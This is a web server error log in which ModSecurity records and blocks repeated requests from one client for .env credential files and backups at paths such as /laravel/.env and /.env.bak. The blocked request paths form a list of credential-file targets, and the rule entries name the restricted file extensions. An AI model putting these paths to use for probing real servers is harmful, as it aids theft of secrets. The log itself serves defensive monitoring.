[Tue Jan 21 15:16:14.921114 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z4-sLtP2g1a8O8tMN8i_1wAAAA8"]
[Tue Jan 21 15:16:14.921528 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z4-sLtP2g1a8O8tMN8i_1wAAAA8"]
[Tue Jan 21 15:16:14.922099 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z4-sLtP2g1a8O8tMN8i_1wAAAA8"]
[Tue Jan 21 15:16:17.037219 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z4-sMfPXyjfVauJVJ2RwNAAAAA4"]
[Tue Jan 21 15:16:17.037619 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z4-sMfPXyjfVauJVJ2RwNAAAAA4"]
[Tue Jan 21 15:16:17.038074 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z4-sMfPXyjfVauJVJ2RwNAAAAA4"]
[Tue Jan 21 15:16:17.440031 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z4-sMdP2g1a8O8tMN8i_2AAAAA8"]
[Tue Jan 21 15:16:17.440453 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z4-sMdP2g1a8O8tMN8i_2AAAAA8"]
[Tue Jan 21 15:16:17.440962 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z4-sMdP2g1a8O8tMN8i_2AAAAA8"]
[Tue Jan 21 15:16:19.488696 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "Z4-sM_PXyjfVauJVJ2RwNQAAAA4"]
[Tue Jan 21 15:16:19.489105 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "Z4-sM_PXyjfVauJVJ2RwNQAAAA4"]
[Tue Jan 21 15:16:19.489496 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "Z4-sM_PXyjfVauJVJ2RwNQAAAA4"]
[Tue Jan 21 15:16:19.873288 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "Z4-sM9P2g1a8O8tMN8i_2QAAAA8"]
[Tue Jan 21 15:16:19.873646 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "Z4-sM9P2g1a8O8tMN8i_2QAAAA8"]
[Tue Jan 21 15:16:19.874006 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "Z4-sM9P2g1a8O8tMN8i_2QAAAA8"]
[Tue Jan 21 15:16:42.384334 2025] [:error] [pid 621518] [client 193.41.206.36:36608] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.project"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.project"] [unique_id "Z4-sSvPXyjfVauJVJ2RwNgAAAA4"]
[Tue Jan 21 15:16:42.384683 2025] [:error] [pid 621518] [client 193.41.206.36:36608] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.project"] [unique_id "Z4-sSvPXyjfVauJVJ2RwNgAAAA4"]
[Tue Jan 21 15:16:42.385050 2025] [:error] [pid 621518] [client 193.41.206.36:36608] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.project"] [unique_id "Z4-sSvPXyjfVauJVJ2RwNgAAAA4"]
[Tue Jan 21 15:16:42.518666 2025] [:error] [pid 610121] [client 193.41.206.36:36606] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.project"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.project"] [unique_id "Z4-sSnSo5nIGeA4GeT4blAAAAAc"]
[Tue Jan 21 15:16:42.519201 2025] [:error] [pid 610121] [client 193.41.206.36:36606] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.project"] [unique_id "Z4-sSnSo5nIGeA4GeT4blAAAAAc"]
[Tue Jan 21 15:16:42.519649 2025] [:error] [pid 610121] [client 193.41.206.36:36606] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.project"] [unique_id "Z4-sSnSo5nIGeA4GeT4blAAAAAc"]
[Tue Jan 21 15:16:45.009484 2025] [:error] [pid 621518] [client 193.41.206.36:36608] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "Z4-sTfPXyjfVauJVJ2RwNwAAAA4"]
[Tue Jan 21 15:16:45.009883 2025] [:error] [pid 621518] [client 193.41.206.36:36608] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "Z4-sTfPXyjfVauJVJ2RwNwAAAA4"]
[Tue Jan 21 15:16:45.010472 2025] [:error] [pid 621518] [client 193.41.206.36:36608] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "Z4-sTfPXyjfVauJVJ2RwNwAAAA4"]
[Tue Jan 21 15:16:45.203038 2025] [:error] [pid 610121] [client 193.41.206.36:36606] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "Z4-sTXSo5nIGeA4GeT4blQAAAAc"]
[Tue Jan 21 15:16:45.203227 2025] [:error] [pid 610121] [client 193.41.206.36:36606] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "Z4-sTXSo5nIGeA4GeT4blQAAAAc"]
[Tue Jan 21 15:16:45.203408 2025] [:error] [pid 610121] [client 193.41.206.36:36606] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "Z4-sTXSo5nIGeA4GeT4blQAAAAc"]
[Tue Jan 21 15:16:47.778614 2025] [:error] [pid 621518] [client 193.41.206.36:36608] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "Z4-sT_PXyjfVauJVJ2RwOAAAAA4"]
[Tue Jan 21 15:16:47.779010 2025] [:error] [pid 621518] [client 193.41.206.36:36608] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "Z4-sT_PXyjfVauJVJ2RwOAAAAA4"]
[Tue Jan 21 15:16:47.779433 2025] [:error] [pid 621518] [client 193.41.206.36:36608] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "Z4-sT_PXyjfVauJVJ2RwOAAAAA4"]
[Tue Jan 21 15:16:47.868328 2025] [:error] [pid 610121] [client 193.41.206.36:36606] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "Z4-sT3So5nIGeA4GeT4blgAAAAc"]
[Tue Jan 21 15:16:47.868623 2025] [:error] [pid 610121] [client 193.41.206.36:36606] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "Z4-sT3So5nIGeA4GeT4blgAAAAc"]
[Tue Jan 21 15:16:47.868892 2025] [:error] [pid 610121] [client 193.41.206.36:36606] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "Z4-sT3So5nIGeA4GeT4blgAAAAc"]
[Tue Jan 21 15:17:36.892579 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "Z4-sgNKd0J471eFma_TqEwAAAAE"]
[Tue Jan 21 15:17:36.892879 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "Z4-sgNKd0J471eFma_TqEwAAAAE"]
[Tue Jan 21 15:17:36.893232 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "Z4-sgNKd0J471eFma_TqEwAAAAE"]
[Tue Jan 21 15:17:36.893660 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "Z4-sgNKd0J471eFma_TqEwAAAAE"]
[Tue Jan 21 15:17:37.022323 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "Z4-sgZqmj11ddtqosUH5cAAAAAM"]
